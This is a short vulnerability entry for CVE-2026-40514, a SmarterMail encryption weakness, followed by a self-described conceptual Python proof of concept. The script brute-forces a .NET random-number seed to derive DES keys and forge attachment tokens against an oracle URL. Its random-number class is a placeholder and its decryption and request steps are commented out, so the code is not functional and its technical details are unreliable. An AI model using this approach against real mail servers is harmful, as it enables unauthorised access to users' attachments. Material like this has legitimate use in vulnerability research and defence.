CVE-2026-40514 SmarterMail加密弱点漏洞

# This is a conceptual PoC. It demonstrates the logic of brute-forcing the seed. # It requires the target's specific token format and encryption padding details to be fully functional. import requests from Crypto.Cipher import DES from Crypto.Util.Padding import pad, unpad import base64 # Hypothetical implementation of .NET System.Random to reproduce the seed sequence class DotNetRandom: def __init__(self, seed): self.seed = seed # Simplified implementation logic for demonstration # Real .NET System.Random uses a subtractive generator algorithm def get_bytes(self, count): # Placeholder for actual byte generation logic return bytes([self.seed % 255] * count) def brute_force_seed(target_token, oracle_url): print(f"[*] Starting brute force attack on {oracle_url}") for seed in range(19000): # 1. Simulate Key/IV generation based on the seed # In the real vulnerability, the specific byte extraction logic is needed rng = DotNetRandom(seed) key = rng.get_bytes(8) # DES Key is 8 bytes iv = rng.get_bytes(8) # DES IV is 8 bytes try: # 2. Attempt to decrypt the target token or forge a test token cipher = DES.new(key, DES.MODE_CBC, iv) # Assuming base64 encoded token # decoded = base64.b64decode(target_token) # decrypted = unpad(cipher.decrypt(decoded), DES.block_size) # 3. Validation step (Oracle) # Send a request to the server with the forged/decrypted data # If response is 200, we found the seed # response = requests.get(oracle_url, params={'token': forged_token}) # if response.status_code == 200: # print(f"[+] Seed found: {seed}") # return seed, key, iv pass except Exception: continue return None # Usage # brute_force_seed("captured_token_string", "https://target.com/attachment.ashx")